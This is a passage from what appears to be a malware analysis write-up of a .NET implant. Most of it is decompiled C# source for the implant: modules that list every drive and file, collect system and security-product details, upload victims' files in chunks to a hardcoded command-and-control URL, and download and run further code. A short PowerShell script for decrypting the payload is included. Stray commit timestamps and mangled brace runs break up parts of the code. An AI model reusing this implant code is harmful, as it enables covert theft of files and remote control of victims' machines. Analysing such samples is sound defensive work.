public static void InitGadgets() { Program.Load(); }
// Token: 0x06000003 RID: 3 RVA: 0x000020CC File Offset: 0x000004CC
public static void FileRipper() { Program.Load(); }
2019-12-28 00:26:56 +00:00
// Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4
private static void Load()
{
try
{
foreach (Type type in Program._assembly.GetExportedTypes())
2019-12-27 23:00:17 +00:00
{
2019-12-28 00:26:56 +00:00
if (type.Name == "Program")
{
object obj = Activator.CreateInstance(type);
obj.GetType().GetMethod("Start").Invoke(obj, new object[0]);
break;
}
2019-12-27 23:00:17 +00:00
}
2019-12-28 00:26:56 +00:00
}
catch {}
finally { Process.GetCurrentProcess().Kill(); }
}
// Token: 0x04000001 RID: 1
private static readonly Assembly _assembly;
2019-12-27 23:00:17 +00:00
}
}
```
2019-12-28 21:29:59 +00:00
<h6>We can use fire against fire and use Powershell for decrypt the payload and save it.</h6>
2019-12-27 23:00:17 +00:00
```csharp
[byte[]] $array = [System.IO.File]::ReadAllBytes("path tmp file")
# note: this in powershell 5.1 -> CreateInstance else new-object byte[] length for get an empty table of zeros
[byte[]] $array2 = [System.Byte[]]::CreateInstance([System.Byte],$array.length -32)
[System.Buffer]::BlockCopy($array, 32, $array2, 0, $array2.Length)
for ($i = 0; $i -lt $array2.length; $i++)
{
[byte[]] $array3 = $array2
[int] $num = $i
$array3[$num] = $array3[$num] -bxor $array[$i % 32]
}
[System.IO.File]::WriteAllBytes("path to save", $array2)
```
2019-12-28 14:51:30 +00:00
<h3>The final implant<a name="implant"></a></h3>
2019-12-28 21:29:59 +00:00
<h6>Once this did, we can see that the payload has four modules, the first one get the list of the disks, informations and the list of the files of them.</h6>
2019-12-27 23:00:17 +00:00
2019-12-28 00:26:56 +00:00
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace SystemApp
{
// Token: 0x02000003 RID: 3
internal class FileListing
{
// Token: 0x0600001A RID: 26 RVA: 0x000025E8 File Offset: 0x000007E8
public static void WriteListing(BinaryWriter output, string[] selectFileExtensions, int maxSelectFileSize, List<Settings.File> selectedFiles)
{
output.Write(Encoding.ASCII.GetBytes("FL"));
output.Write(1);
Queue<FileListing.DirectoryOffset> queue = new Queue<FileListing.DirectoryOffset>();
DriveInfo[] drives = DriveInfo.GetDrives();
output.Write(drives.Length);
foreach (DriveInfo driveInfo in drives)
{
output.Write(driveInfo.Name);
output.Write((int)driveInfo.DriveType);
output.Write(driveInfo.IsReady);
if (driveInfo.IsReady)
{
output.Write(driveInfo.DriveFormat);
output.Write(driveInfo.AvailableFreeSpace);
output.Write(driveInfo.TotalFreeSpace);
output.Write(driveInfo.TotalSize);
output.Write(driveInfo.VolumeLabel);
if (driveInfo.DriveType == DriveType.Fixed)
{
queue.Enqueue(new FileListing.DirectoryOffset(driveInfo.Name, output.BaseStream.Position));
output.Write(0L);
}
else {output.Write(-1L);}
}
else {output.Write(-1L);}
}
while (queue.Count > 0)
{
FileListing.DirectoryOffset directoryOffset = queue.Dequeue();
long position = output.BaseStream.Position;
output.BaseStream.Position = directoryOffset.OffsetPosition;
output.Write(position);
output.BaseStream.Position = position;
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(directoryOffset.Path);
DirectoryInfo[] directories = directoryInfo.GetDirectories();
FileInfo[] files = directoryInfo.GetFiles();
output.Write(false);
output.Write(directories.Length);
output.Write(files.Length);
foreach (DirectoryInfo directoryInfo2 in directories)
{
output.Write(directoryInfo2.Name);
output.Write((int)directoryInfo2.Attributes);
output.Write(Convert.ToInt64((directoryInfo2.CreationTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((directoryInfo2.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((directoryInfo2.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
queue.Enqueue(new FileListing.DirectoryOffset(directoryInfo2.FullName, output.BaseStream.Position));
output.Write(0L);
}
foreach (FileInfo fileInfo in files)
{
output.Write(fileInfo.Name);
output.Write((int)fileInfo.Attributes);
output.Write(Convert.ToInt64((fileInfo.CreationTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((fileInfo.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((fileInfo.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(fileInfo.Length);
int j = 0;
while (j < selectFileExtensions.Length)
{
if (fileInfo.Name.EndsWith(selectFileExtensions[j], StringComparison.CurrentCultureIgnoreCase) && fileInfo.Length <= (long)maxSelectFileSize)
{
Settings.File item = new Settings.File(fileInfo.FullName);
if (!selectedFiles.Contains(item))
{
selectedFiles.Add(item);
break;
}
break;
}
else {j++;}
}
}
}
catch (Exception ex)
{
output.Write(true);
output.Write(ex.Message);
output.Write(ex.ToString());
}
}
}
// Token: 0x0400000E RID: 14
private static readonly DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
// Token: 0x02000008 RID: 8
private class DirectoryOffset
{
// Token: 0x06000045 RID: 69 RVA: 0x000044E8 File Offset: 0x000026E8
public DirectoryOffset(string path, long offsetPosition)
{
this._path = path;
this._offsetPosition = offsetPosition;
}
// Token: 0x17000013 RID: 19
// (get) Token: 0x06000046 RID: 70 RVA: 0x000044FE File Offset: 0x000026FE
public string Path {get{return this._path;}}
// Token: 0x17000014 RID: 20
// (get) Token: 0x06000047 RID: 71 RVA: 0x00004506 File Offset: 0x00002706
public long OffsetPosition {get{return this._offsetPosition;}}
// Token: 0x04000024 RID: 36
public readonly string _path;
// Token: 0x04000025 RID: 37
public readonly long _offsetPosition;
}
}
}
```
2019-12-28 21:29:59 +00:00
###### The second module, this selects the good extension instead of the content to push, this use too a popular JSON framework for .NET (Newtonsoft). Once the files done, this adds a queue for sending files at the C2 by zip files. The origin path, type, offset of the files of the victim is push in base 64 in the X-File references in the header. The JSON files are still stored in Appdata with a folder with the identicator name ```CommonsDat``` instead of ```AuthyDat``` for the last operation against China (cf last analysis)
2019-12-28 00:26:56 +00:00
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
using Module;
using Newtonsoft.Json;
using SystemApp.Properties;
namespace SystemApp
{
// Token: 0x02000004 RID: 4
public class Program
{
// Token: 0x0600001D RID: 29 RVA: 0x000029B0 File Offset: 0x00000BB0
static Program()
{
AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs args)
{
if (args.Name.StartsWith("Newtonsoft.Json,")){return Assembly.Load(Resources.Newtonsoft_Json);}
return null;
};
}
// Token: 0x0600001E RID: 30 RVA: 0x000029CC File Offset: 0x00000BCC
public void Start()
{
try
{
this._settings = Settings.LoadSettings();
this._getTimer = new Timer(new TimerCallback(this.GetTimerCallback), null, 5000, -1);
this._postTimer = new Timer(new TimerCallback(this.PostTimerCallback), null, 5000, -1);
if (this._settings.DoSysInfo){
this.WriteSysInfo();
this._settings.DoSysInfo = false;
this._settings.Save();}
if (this._settings.DoFileSelection){
this.WriteFileListing();
this.WriteSelectedFiles();
this._settings.DoFileSelection = false;
this._settings.Save();}
Thread.Sleep(-1);
}
finally
{
try{
this._getTimer.Dispose();
this._postTimer.Dispose();}
catch{}
}
}
// Token: 0x0600001F RID: 31 RVA: 0x00002ABC File Offset: 0x00000CBC
private void WriteSysInfo()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.Write)){SysInfo.WriteTo(fileStream);}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".sif"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000020 RID: 32 RVA: 0x00002B6C File Offset: 0x00000D6C
private void WriteFileListing()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
lock (selectedFiles)
{
FileListing.WriteListing(new BinaryWriter(fileStream), this._settings.SelectFileExtensions, this._settings.MaxSelectFileSize, this._settings.SelectedFiles);}}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".flc"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000021 RID: 33 RVA: 0x00002C68 File Offset: 0x00000E68
private void WriteSelectedFiles()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
JsonTextWriter jsonTextWriter = new JsonTextWriter(new StreamWriter(fileStream, Encoding.UTF8));
jsonTextWriter.WriteStartObject();
jsonTextWriter.WritePropertyName("selectedFiles");
jsonTextWriter.WriteStartArray();
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
lock (selectedFiles)
{
foreach (Settings.File file in this._settings.SelectedFiles)
{
jsonTextWriter.WriteStartObject();
jsonTextWriter.WritePropertyName("filePath");
jsonTextWriter.WriteValue(file.FilePath);
jsonTextWriter.WritePropertyName("complete");
jsonTextWriter.WriteValue(file.Complete);
jsonTextWriter.WritePropertyName("sentOffset");
jsonTextWriter.WriteValue(file.SentOffset);
jsonTextWriter.WriteEndObject();}}
jsonTextWriter.WriteEndArray();
jsonTextWriter.WriteEndObject();
jsonTextWriter.Flush();}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".fls"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000022 RID: 34 RVA: 0x00002E48 File Offset: 0x00001048
private byte[] DecodeData(byte[] data)
{
byte[] array = new byte[data.Length - 32];
Buffer.BlockCopy(data, 32, array, 0, array.Length);
for (int i = 0; i < array.Length; i++)
{
byte[] array2 = array;
int num = i;
array2[num] ^= data[i % 32];
}
return array;
}
// Token: 0x06000023 RID: 35 RVA: 0x00002E90 File Offset: 0x00001090
private void GetTimerCallback(object state)
{
try
{
for (;;){
using (Program.WebClient webClient = new Program.WebClient())
{this.Process(this.DecodeData(webClient.DownloadData(this._settings.ServerUri)));}}}
catch{}
finally {this._getTimer.Change(this._settings.GetInterval, -1);}
}
// Token: 0x06000024 RID: 36 RVA: 0x00002F10 File Offset: 0x00001110
private void PostTimerCallback(object state)
{
try
{
string[] files = Directory.GetFiles(this._settings.OutputFolder);
for (int i = 0; i < files.Length; i++){
Settings.File item = new Settings.File(files[i]);
if (!this._settings.OutputFiles.Contains(item))
{
this._settings.OutputFiles.Add(item);}}
List<Settings.File> list = new List<Settings.File>();
foreach (Settings.File file in this._settings.OutputFiles){
if (file.Complete)
{
try
{
File.Delete(file.FilePath);
list.Add(file);
continue;}
catch{continue;}}
try
{
string fileType = null;
string extension = Path.GetExtension(file.FilePath);
if (extension != null)
{
if (!(extension == ".sif")){
if (!(extension == ".flc")){{if (!(extension == ".fls")){{{ if (extension == ".err"){ {{ fileType = "errorReport";{ }{}{else{{{ fileType = "fileSelection";{}}
else{{fileType = "fileListing";}}
else{fileType = "sysInfo";}}
this.UploadFile(file, fileType);
try
{
File.Delete(file.FilePath);
list.Add(file);}
catch{}}
catch (WebException) {break;}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
try{File.Delete(file.FilePath);}
catch{}
try{list.Add(file);}
catch{}}}
foreach (Settings.File item2 in list){this._settings.OutputFiles.Remove(item2);}
if (this._settings.DoFileUpload){
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
Settings.File[] array;
lock (selectedFiles)
{
array = this._settings.SelectedFiles.ToArray();}
foreach (Settings.File file2 in array)
{
if (!file2.Complete)
{
try{this.UploadFile(file2, null);}
catch (WebException){break;}
catch (Exception ex2){try{{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex2.ToString());}
catch{}
file2.Complete = true;}}}}
}
catch (Exception ex3){try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex3.ToString());}
catch{}
}
finally
{
this._settings.Save();
this._postTimer.Change(this._settings.PostInterval, -1);
}
}
// Token: 0x06000025 RID: 37 RVA: 0x0000338C File Offset: 0x0000158C
private void UploadFile(Settings.File file, string fileType = null)
{
using (FileStream fileStream = new FileStream(file.FilePath, FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write | FileShare.Delete))
{
byte[] array = new byte[524288];
using (Program.WebClient webClient = new Program.WebClient()){
for (;;)
{
fileStream.Position = file.SentOffset;
int num = fileStream.Read(array, 0, array.Length);
if (num < 1){break;}
webClient.ContentType = "application/x-raw";
webClient.Headers.Clear();
webClient.Headers.Add("X-File-Path", Convert.ToBase64String(Encoding.UTF8.GetBytes(file.FilePath)));
webClient.Headers.Add("X-File-Offset", file.SentOffset.ToString());
webClient.Headers.Add("X-File-Length", fileStream.Length.ToString());
if (fileType != null){webClient.Headers.Add("X-File-Type", fileType);}
if (num == array.Length){webClient.UploadData(this._settings.ServerUri, array);}
else
{
byte[] array2 = new byte[num];
Buffer.BlockCopy(array, 0, array2, 0, num);
webClient.UploadData(this._settings.ServerUri, array2);}
file.SentOffset += (long)num;}
file.Complete = true;}
}
}
// Token: 0x06000026 RID: 38 RVA: 0x0000350C File Offset: 0x0000170C
private void Process(byte[] data)
{
ThreadPool.QueueUserWorkItem(delegate(object state)
{
try{
AppDomain appDomain = AppDomain.CreateDomain("");
try
{
Loader loader = (Loader)appDomain.CreateInstance(typeof(Loader).Assembly.GetName().Name, typeof(Loader).FullName).Unwrap();
byte[] array;
using (MemoryStream memoryStream = new MemoryStream())
{
this._settings.WriteTo(new BinaryWriter(memoryStream));
array = memoryStream.ToArray();}
string text = loader.Load(data, new object[]{array}).ToString();
if (!string.IsNullOrEmpty(text))
{
using (MemoryStream memoryStream2 = new MemoryStream(Convert.FromBase64String(text))){
BinaryReader binaryReader = new BinaryReader(memoryStream2);
while (memoryStream2.Position < memoryStream2.Length){{switch (binaryReader.ReadByte()){{{case 1:{ this.WriteSysInfo();{ continue;{case 2:{ this.WriteFileListing();{ continue;{case 3:{ this.WriteSelectedFiles();{ continue;{case 4:{ this._settings.ReadFrom(binaryReader);{ this._settings.Save();{ continue;{case 5:{ this._settings.ServerUri = new Uri(binaryReader.ReadString());{ continue;{case 6:{ this._settings.DoFileUpload = binaryReader.ReadBoolean();{ continue;{case 7:{ this._settings.SelectFileExtensions = new string[binaryReader.ReadInt32()];{ for (int i = 0; i < this._settings.SelectFileExtensions.Length; i++){ {{ this._settings.SelectFileExtensions[i] = binaryReader.ReadString();{ }{ continue;{case 8:{ this._settings.MaxSelectFileSize = binaryReader.ReadInt32();{ continue;{case 9:{{{ Settings.File item = new Settings.File(binaryReader.ReadString());{ List<Settings.File> selectedFiles = this._settings.SelectedFiles;{ lock (selectedFiles){ {{ int num = this._settings.SelectedFiles.IndexOf(item);{ if (num < 0){ {{ this._settings.SelectedFiles.Add(item);{ }{ else{ {{ this._settings.SelectedFiles[num].SentOffset = 0L;{ this._settings.SelectedFiles[num].Complete = false;{ }{ continue;{ }{ break;{}{case 10:{ break;{default:{ continue;{}{this._settings.Save();}}}}
finally{AppDomain.Unload(appDomain);}}
catch (Exception ex){
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}}
});
}
// Token: 0x0400000F RID: 15
private Settings _settings;
// Token: 0x04000010 RID: 16
private Timer _getTimer;
// Token: 0x04000011 RID: 17
private const int GET_TIMER_INITIAL_INTERVAL = 5000;
// Token: 0x04000012 RID: 18
private Timer _postTimer;
// Token: 0x04000013 RID: 19
private const int POST_TIMER_INITIAL_INTERVAL = 5000;
// Token: 0x02000009 RID: 9
private class WebClient : System.Net.WebClient
{
// Token: 0x06000048 RID: 72 RVA: 0x00004510 File Offset: 0x00002710
protected override WebRequest GetWebRequest(Uri uri)
{
HttpWebRequest httpWebRequest = base.GetWebRequest(uri) as HttpWebRequest;
httpWebRequest.ReadWriteTimeout = 120000;
httpWebRequest.AutomaticDecompression = (DecompressionMethods.GZip | DecompressionMethods.Deflate);
if (!string.IsNullOrEmpty(this.ContentType)){httpWebRequest.ContentType = this.ContentType;}
return httpWebRequest;
}
// Token: 0x06000049 RID: 73 RVA: 0x00004556 File Offset: 0x00002756
public new byte[] UploadData(string address, byte[] data){return this.UploadData(new Uri(address), data);}
// Token: 0x0600004A RID: 74 RVA: 0x00004568 File Offset: 0x00002768
public new byte[] UploadData(Uri address, byte[] data)
{
WebRequest webRequest = this.GetWebRequest(address);
webRequest.Method = "POST";
webRequest.Headers.Add("Content-Encoding", "gzip");
using (Stream stream = new GZipStream(webRequest.GetRequestStream(), CompressionMode.Compress)){stream.Write(data, 0, data.Length);}
WebResponse response = webRequest.GetResponse();
byte[] result;
using (MemoryStream memoryStream = new MemoryStream()){
using (Stream responseStream = response.GetResponseStream())
{
byte[] array = new byte[1024];
for (;;)
{
int num = responseStream.Read(array, 0, array.Length);
if (num < 1){break;}
memoryStream.Write(array, 0, num);}}
result = memoryStream.ToArray();}
return result;
}
// Token: 0x17000015 RID: 21
// (get) Token: 0x0600004B RID: 75 RVA: 0x00004650 File Offset: 0x00002850
// (set) Token: 0x0600004C RID: 76 RVA: 0x00004658 File Offset: 0x00002858
public string ContentType { get; set; }
}
}
}
```
2019-12-27 19:23:58 +00:00
2019-12-28 21:29:59 +00:00
<h6>The third module gives the functions for encoding and decode the data to put in the files, the algorithms are the same as for decrypt the payload (as reuse code).</h6>
2019-12-28 01:23:19 +00:00
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using SystemApp.Properties;
namespace SystemApp
{
// Token: 0x02000002 RID: 2
internal class Settings
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private Settings(){using (MemoryStream memoryStream = new MemoryStream(Settings.DecodeData(Resources.Default))){this.ReadFrom(new BinaryReader(memoryStream));}}
// Token: 0x06000002 RID: 2 RVA: 0x0000209C File Offset: 0x0000029C
private Settings(BinaryReader bR){this.ReadFrom(bR);}
// Token: 0x06000003 RID: 3 RVA: 0x000020AC File Offset: 0x000002AC
public static Settings LoadSettings()
{
Settings settings = new Settings();
try{
using (MemoryStream memoryStream = new MemoryStream(Settings.DecodeData(System.IO.File.ReadAllBytes(Settings._settingsFilePath)))){
return new Settings(new BinaryReader(memoryStream));}}
catch{settings.Save();}
return settings;
}
// Token: 0x06000004 RID: 4 RVA: 0x00002114 File Offset: 0x00000314
private static byte[] EncodeData(byte[] data)
{
byte[] array = new byte[data.Length + 32];
RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create();
byte[] array2 = new byte[32];
randomNumberGenerator.GetBytes(array2);
Buffer.BlockCopy(array2, 0, array, 0, 32);
Buffer.BlockCopy(data, 0, array, 32, data.Length);
for (int i = 0; i < data.Length; i++){
byte[] array3 = array;
int num = i + 32;
array3[num] ^= array[i % 32];}
return array;
}
// Token: 0x06000005 RID: 5 RVA: 0x0000217C File Offset: 0x0000037C
private static byte[] DecodeData(byte[] data)
{
byte[] array = new byte[data.Length - 32];
Buffer.BlockCopy(data, 32, array, 0, array.Length);
for (int i = 0; i < array.Length; i++){
byte[] array2 = array;
int num = i;
array2[num] ^= data[i % 32];}
return array;
}
// Token: 0x06000006 RID: 6 RVA: 0x000021C4 File Offset: 0x000003C4
public void Save()
{
lock (this){
try{
using (MemoryStream memoryStream = new MemoryStream())
{
this.WriteTo(new BinaryWriter(memoryStream));
System.IO.File.WriteAllBytes(Settings._settingsFilePath, Settings.EncodeData(memoryStream.ToArray()));
}}
catch (Exception ex){
try{System.IO.File.WriteAllText(Path.Combine(this._outputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch
{}}}
}
// Token: 0x06000007 RID: 7 RVA: 0x00002278 File Offset: 0x00000478
public void ReadFrom(BinaryReader bR)
{
if (bR.ReadByte() == 1){
Settings._settingsFilePath = Environment.ExpandEnvironmentVariables(bR.ReadString());
string directoryName = Path.GetDirectoryName(Settings._settingsFilePath);
if (!Directory.Exists(directoryName)){Directory.CreateDirectory(directoryName);}
this._outputFolder = Environment.ExpandEnvironmentVariables(bR.ReadString());
if (!Directory.Exists(this._outputFolder)){Directory.CreateDirectory(this._outputFolder);}
string text = bR.ReadString();
if (string.IsNullOrEmpty(text)){this._serverUri = new Uri("https://ap1-acl.net/202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8 ".Trim());}
else{this._serverUri = new Uri(text);}
this._getInterval = bR.ReadInt32();
this._postInterval = bR.ReadInt32();
this._doSysInfo = bR.ReadBoolean();
this._doFileSelection = bR.ReadBoolean();
this._doFileUpload = bR.ReadBoolean();
int num = bR.ReadInt32();
this._selectFileExtensions = new string[num];
for (int i = 0; i < num; i++){this._selectFileExtensions[i] = bR.ReadString();}
this._maxSelectFileSize = bR.ReadInt32();
int num2 = bR.ReadInt32();
this._selectedFiles = new List<Settings.File>(num2);
for (int j = 0; j < num2; j++){this._selectedFiles.Add(new Settings.File(bR));}
int num3 = bR.ReadInt32();
this._outputFiles = new List<Settings.File>(num3);
for (int k = 0; k < num3; k++){this._outputFiles.Add(new Settings.File(bR));}
return;}
throw new InvalidDataException();
}
// Token: 0x06000008 RID: 8 RVA: 0x00002400 File Offset: 0x00000600
public void WriteTo(BinaryWriter bW)
{
bW.Write(1);
bW.Write(Settings._settingsFilePath);
bW.Write(this._outputFolder);
bW.Write(this._serverUri.AbsoluteUri);
bW.Write(this._getInterval);
bW.Write(this._postInterval);
bW.Write(this._doSysInfo);
bW.Write(this._doFileSelection);
bW.Write(this._doFileUpload);
bW.Write(this._selectFileExtensions.Length);
foreach (string value in this._selectFileExtensions){bW.Write(value);}
bW.Write(this._maxSelectFileSize);
bW.Write(this._selectedFiles.Count);
foreach (Settings.File file in this._selectedFiles){file.WriteTo(bW);}
bW.Write(this._outputFiles.Count);
foreach (Settings.File file2 in this._outputFiles){file2.WriteTo(bW);}
}
// Token: 0x17000001 RID: 1
// (get) Token: 0x06000009 RID: 9 RVA: 0x00002558 File Offset: 0x00000758
public string OutputFolder{get{return this._outputFolder;}}
// Token: 0x17000002 RID: 2
// (get) Token: 0x0600000A RID: 10 RVA: 0x00002560 File Offset: 0x00000760
// (set) Token: 0x0600000B RID: 11 RVA: 0x00002568 File Offset: 0x00000768
public Uri ServerUri
{
get{return this._serverUri;}
set{this._serverUri = value;}
}
// Token: 0x17000003 RID: 3
// (get) Token: 0x0600000C RID: 12 RVA: 0x00002571 File Offset: 0x00000771
public int GetInterval{get{return this._getInterval;}}
// Token: 0x17000004 RID: 4
// (get) Token: 0x0600000D RID: 13 RVA: 0x00002579 File Offset: 0x00000779
public int PostInterval{get{return this._postInterval;}}
// Token: 0x17000005 RID: 5
// (get) Token: 0x0600000E RID: 14 RVA: 0x00002581 File Offset: 0x00000781
// (set) Token: 0x0600000F RID: 15 RVA: 0x00002589 File Offset: 0x00000789
public bool DoSysInfo
{
get{return this._doSysInfo;}
set{this._doSysInfo = value;}
}
// Token: 0x17000006 RID: 6
// (get) Token: 0x06000010 RID: 16 RVA: 0x00002592 File Offset: 0x00000792
// (set) Token: 0x06000011 RID: 17 RVA: 0x0000259A File Offset: 0x0000079A
public bool DoFileSelection
{
get{return this._doFileSelection;}
set{this._doFileSelection = value;}
}
// Token: 0x17000007 RID: 7
// (get) Token: 0x06000012 RID: 18 RVA: 0x000025A3 File Offset: 0x000007A3
// (set) Token: 0x06000013 RID: 19 RVA: 0x000025AB File Offset: 0x000007AB
public bool DoFileUpload
{
get{return this._doFileUpload;}
set{this._doFileUpload = value;}
}
// Token: 0x17000008 RID: 8
// (get) Token: 0x06000014 RID: 20 RVA: 0x000025B4 File Offset: 0x000007B4
// (set) Token: 0x06000015 RID: 21 RVA: 0x000025BC File Offset: 0x000007BC
public string[] SelectFileExtensions
{
get{return this._selectFileExtensions;}
set{this._selectFileExtensions = value;}
}
// Token: 0x17000009 RID: 9
// (get) Token: 0x06000016 RID: 22 RVA: 0x000025C5 File Offset: 0x000007C5
// (set) Token: 0x06000017 RID: 23 RVA: 0x000025CD File Offset: 0x000007CD
public int MaxSelectFileSize
{
get{return this._maxSelectFileSize;}
set{this._maxSelectFileSize = value;}
}
// Token: 0x1700000A RID: 10
// (get) Token: 0x06000018 RID: 24 RVA: 0x000025D6 File Offset: 0x000007D6
public List<Settings.File> SelectedFiles{get{return this._selectedFiles;}}
// Token: 0x1700000B RID: 11
// (get) Token: 0x06000019 RID: 25 RVA: 0x000025DE File Offset: 0x000007DE
public List<Settings.File> OutputFiles{get{return this._outputFiles;}}
// Token: 0x04000001 RID: 1
private const string SERVER_URI = "https://ap1-acl.net/202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8 ";
// Token: 0x04000002 RID: 2
private static string _settingsFilePath;
// Token: 0x04000003 RID: 3
private string _outputFolder;
// Token: 0x04000004 RID: 4
private Uri _serverUri;
// Token: 0x04000005 RID: 5
private int _getInterval;
// Token: 0x04000006 RID: 6
private int _postInterval;
// Token: 0x04000007 RID: 7
private bool _doSysInfo;
// Token: 0x04000008 RID: 8
private bool _doFileSelection;
// Token: 0x04000009 RID: 9
private bool _doFileUpload;
// Token: 0x0400000A RID: 10
private string[] _selectFileExtensions;
// Token: 0x0400000B RID: 11
private int _maxSelectFileSize;
// Token: 0x0400000C RID: 12
private List<Settings.File> _selectedFiles;
// Token: 0x0400000D RID: 13
private List<Settings.File> _outputFiles;
// Token: 0x02000007 RID: 7
public class File
{
// Token: 0x0600003B RID: 59 RVA: 0x0000441B File Offset: 0x0000261B
public File(string filePath){this._filePath = filePath;}
// Token: 0x0600003C RID: 60 RVA: 0x0000442A File Offset: 0x0000262A
public File(BinaryReader bR){
this._filePath = bR.ReadString();
this._sentOffset = bR.ReadInt64();
this._complete = bR.ReadBoolean();}
// Token: 0x0600003D RID: 61 RVA: 0x00004456 File Offset: 0x00002656
public void WriteTo(BinaryWriter bW){
bW.Write(this._filePath);
bW.Write(this._sentOffset);
bW.Write(this._complete);}
// Token: 0x0600003E RID: 62 RVA: 0x0000447C File Offset: 0x0000267C
public override bool Equals(object obj){
if (obj == null){return false;}
if (obj == this){return true;}
Settings.File file = obj as Settings.File;
return file != null && this._filePath == file._filePath;}
// Token: 0x0600003F RID: 63 RVA: 0x000044B1 File Offset: 0x000026B1
public override int GetHashCode(){return this._filePath.GetHashCode();}
// Token: 0x17000010 RID: 16
// (get) Token: 0x06000040 RID: 64 RVA: 0x000044BE File Offset: 0x000026BE
public string FilePath{get{return this._filePath;}}
// Token: 0x17000011 RID: 17
// (get) Token: 0x06000041 RID: 65 RVA: 0x000044C6 File Offset: 0x000026C6
// (set) Token: 0x06000042 RID: 66 RVA: 0x000044CE File Offset: 0x000026CE
public long SentOffset{
get{return this._sentOffset;}
set{this._sentOffset = value;}}
// Token: 0x17000012 RID: 18
// (get) Token: 0x06000043 RID: 67 RVA: 0x000044D7 File Offset: 0x000026D7
// (set) Token: 0x06000044 RID: 68 RVA: 0x000044DF File Offset: 0x000026DF
public bool Complete{
get{return this._complete;}
set{this._complete = value;}}
// Token: 0x04000021 RID: 33
private string _filePath;
// Token: 0x04000022 RID: 34
private long _sentOffset;
// Token: 0x04000023 RID: 35
private bool _complete;
}
}
}
```
2019-12-28 21:29:59 +00:00
<h6>The last module gives all the functions used for parsed the information about system, users, privileges, security products, Hotfixs, network settings...</h6>
2019-12-28 01:23:19 +00:00
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32;
using Newtonsoft.Json;
namespace SystemApp
{
2019-12-28 01:25:08 +00:00
// Token: 0x02000005 RID: 5
[ComVisible(true)]
internal class SysInfo
{
// Token: 0x06000028 RID: 40
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, SysInfo.TokenInformationClass tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int returnLength);
// Token: 0x06000029 RID: 41
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
private static extern int SHGetKnownFolderPath(ref Guid id, int flags, IntPtr token, out IntPtr path);
// Token: 0x0600002A RID: 42 RVA: 0x0000353C File Offset: 0x0000173C
private static void WriteWmi(JsonTextWriter jsonWriter, string queryTable, string scope, string[] columns)
{
jsonWriter.WriteStartArray();
try
{
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher(scope, "SELECT * FROM " + queryTable).Get())
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
jsonWriter.WriteStartObject();
foreach (string text in columns)
{
jsonWriter.WritePropertyName(text);
try
{
if (text != null && text == "ProcessOwner")
{
string[] array = new string[]
{
string.Empty,
string.Empty
};
ManagementObject managementObject2 = managementObject;
string methodName = "GetOwner";
object[] args = array;
if (Convert.ToInt32(managementObject2.InvokeMethod(methodName, args)) == 0){jsonWriter.WriteValue(array[1] + "\\" + array[0]);}
else{jsonWriter.WriteValue("NoOwner");}
}
else{jsonWriter.WriteValue(managementObject[text]);}
}
catch{jsonWriter.WriteValue("nota");}
}
